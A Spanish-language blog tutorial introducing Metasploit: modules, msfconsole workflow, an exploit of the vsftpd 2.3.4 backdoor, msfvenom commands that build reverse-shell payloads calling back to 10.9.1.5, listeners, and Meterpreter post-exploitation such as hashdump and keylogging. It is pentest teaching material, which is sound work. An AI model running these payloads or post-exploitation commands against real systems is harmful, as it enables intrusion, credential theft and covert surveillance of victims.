Técnico4 de mayo de 20269 min de lectura

Metasploit: intro y explotación

Metasploit centralizado: arquitectura de módulos, flujo completo de explotación, payloads Staged vs Non-Staged, generación de payloads con msfvenom y post-explotación con Meterpreter.


Metasploit es el framework de pentesting más utilizado del mundo. Integra en una sola consola todo lo que necesitas para explotar vulnerabilidades: búsqueda de exploits, configuración de payloads, ejecución del ataque y post-explotación. Si ya sabes encontrar vulnerabilidades con Nmap o identificar servicios desactualizados, Metasploit es el siguiente paso lógico.


Arquitectura: módulos y su función

Metasploit organiza todo en módulos especializados. Entender qué hace cada uno es la base para usarlo bien.

MóduloFunción
ExploitCódigo que aprovecha una vulnerabilidad específica para ganar acceso
PayloadCódigo que se ejecuta en el objetivo tras el exploit (reverse shell, Meterpreter…)
AuxiliaryEscáneres, fuzzers y herramientas de recon. No explotan, pero informan
PostMódulos de post-explotación: robo de credenciales, enumeración profunda
EncoderCifra el payload para intentar evadir AV
NOPInstrucciones vacías para alinear memoria en buffer overflows

Iniciar msfconsole

Metasploit usa PostgreSQL para almacenar resultados, hosts y credenciales entre sesiones. Conviene inicializar la base de datos antes del primer uso:

# Inicializar la base de datos (solo la primera vez)
msfdb init

# Lanzar la consola
msfconsole

# Lanzar sin banner (modo silencioso)
msfconsole -q

Una vez dentro verás el prompt msf6 >. Todo se gestiona desde aquí.


Comandos esenciales de msfconsole

ComandoDescripciónEjemplo
searchBusca módulos por nombre, CVE o tiposearch eternalblue
useSelecciona un módulouse exploit/windows/smb/ms17_010_eternalblue
show optionsMuestra los parámetros del módulo actualshow options
setAsigna un valor a una opciónset RHOSTS 10.10.10.5
setgAsigna un valor global (persiste al cambiar de módulo)setg RHOSTS 10.10.10.5
unsetElimina el valor de una opciónunset RHOSTS
infoMuestra documentación detallada del móduloinfo
checkVerifica si el objetivo es vulnerable sin lanzar el ataquecheck
run / exploitEjecuta el módulorun -j (en background)
backDesselecciona el módulo actualback

Escaneo desde msfconsole

Antes de explotar necesitas identificar servicios y versiones. Puedes lanzar Nmap directamente desde la consola y guardar los resultados en la base de datos:

msf6 > db_nmap -sV -p- 10.10.10.5

Los resultados quedan almacenados. Para consultarlos después:

msf6 > hosts       # Hosts descubiertos
msf6 > services    # Servicios y versiones
msf6 > vulns       # Vulnerabilidades detectadas (si usaste escáneres)

Para escanear con módulos auxiliares nativos de Metasploit:

search type:auxiliary scanner smb

use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 10.10.10.5
run
# Si responde "Host is likely VULNERABLE" → proceder a explotarlo

Flujo de explotación completo

Este es el workflow estándar de un ataque con Metasploit:

1. db_nmap -sV -p- <IP>         → Identificar servicios y versiones
2. search <nombre_vuln>         → Encontrar el exploit
3. use <ruta_del_módulo>        → Seleccionar
4. show options                 → Ver parámetros requeridos
5. set RHOSTS <IP_objetivo>     → Configurar destino
6. set LHOST <tu_IP_tun0>       → Configurar tu IP (para reverse shells)
7. check                        → Verificar vulnerabilidad (si el módulo lo soporta)
8. run                          → Ejecutar

Ejemplo real con vsftpd 2.3.4 (backdoor conocida):

msf6 > search vsftpd
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(...) > set RHOSTS 10.10.10.5
msf6 exploit(...) > run
# → [*] Command shell session 1 opened

Payloads: Staged vs Non-Staged

La nomenclatura del payload dice mucho sobre cómo funciona:

TipoNomenclaturaCómo funciona
Non-staged (Single)shell_reverse_tcp (guion bajo)Se envía todo el código de una vez. Más estable, más grande
Stagedshell/reverse_tcp (barra)Primero envía un stager pequeño que descarga el resto. Útil cuando el espacio es limitado

Para ver los payloads compatibles con el módulo actual:

show payloads

set payload windows/meterpreter/reverse_tcp

msfvenom: genera payloads personalizados

msfvenom es una herramienta independiente (fuera de msfconsole) para generar archivos maliciosos: ejecutables, shellcodes, scripts web…

msfvenom -p [PAYLOAD] [OPCIONES] -f [FORMATO] -o [SALIDA]

Ejemplos por plataforma:

# Linux reverse shell (ELF)
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.9.1.5 LPORT=4444 -f elf -o shell.elf

# Windows reverse shell (EXE)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.9.1.5 LPORT=4444 -f exe -o shell.exe

# PHP reverse shell (servidor web)
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.9.1.5 LPORT=4444 -f raw > shell.php

# Python reverse shell
msfvenom -p cmd/unix/reverse_python LHOST=10.9.1.5 LPORT=4444 -f raw > shell.py

Recibir la conexión con multi/handler

Cada payload generado con msfvenom necesita un listener que espere la conexión entrante:

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.9.1.5
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > run
# → Esperando conexión...

Cuando la víctima ejecute el payload, obtendrás la sesión automáticamente.


Meterpreter: post-explotación

Meterpreter es el payload más potente de Metasploit. Opera completamente en memoria (sin escribir al disco), cifra las comunicaciones y ofrece un arsenal de comandos para moverse por el sistema comprometido.

Comandos de sistema

ComandoDescripción
sysinfoSO, arquitectura y nombre del equipo
getuidUsuario actual (¿SYSTEM o usuario local?)
getpidID del proceso donde vive Meterpreter
psLista todos los procesos en ejecución
migrate [PID]Mueve la sesión a otro proceso (estabilidad y persistencia)
shellCae a CMD/Bash nativo. exit para volver

Comandos de archivos

ComandoDescripción
ls, cd, pwdNavegación por el sistema de archivos remoto
upload [local] [remoto]Sube un archivo al objetivo
download [remoto] [local]Descarga un archivo del objetivo
search -f [patrón]Busca archivos (ej. search -f flag*.txt)

Post-explotación avanzada

hashdump          # Vuelca hashes de contraseñas (requiere SYSTEM/Admin)
screenshot        # Captura de pantalla del escritorio remoto
keyscan_start     # Inicia keylogger
keyscan_dump      # Vuelca las pulsaciones capturadas

Para poner la sesión en background y usar módulos post:

meterpreter > bg   # Pone la sesión en background (aparece como sesión 1)

msf6 > use post/windows/gather/enum_applications
msf6 post(...) > set SESSION 1
msf6 post(...) > run

Workspaces: organiza tus engagements

Cuando trabajas con varios objetivos, los workspaces evitan mezclar datos:

workspace -a cliente1    # Crear workspace
workspace cliente1       # Cambiar a él
workspace                # Listar todos

Cheatsheet rápida

# Iniciar
msfdb init && msfconsole -q

# Escanear y guardar en DB
db_nmap -sV -p- <IP>

# Buscar y usar exploit
search <nombre>
use <ruta>
show options
set RHOSTS <IP_victima>
set LHOST <tu_IP_tun0>
run

# Generar payload con msfvenom
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<TU_IP> LPORT=4444 -f exe -o shell.exe

# Listener para recibir conexión
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <TU_IP> && set LPORT 4444
run

# Meterpreter esencial
sysinfo | getuid | ps | migrate <PID>
hashdump | screenshot | shell
bg volver a msfconsole con la sesión activa
Tiempo en página 0:00Lectura estimada: 9 min

Posts relacionados

Herramienta

Burp Suite para principiantes: intercepta, modifica y explota tráfico web

Burp Suite es el proxy estándar para web hacking. Aprende a configurarlo, interceptar tráfico HTTPS, usar el Repeater para probar payloads manualmente y el Intruder para automatizar ataques.

27 de abril de 20269 min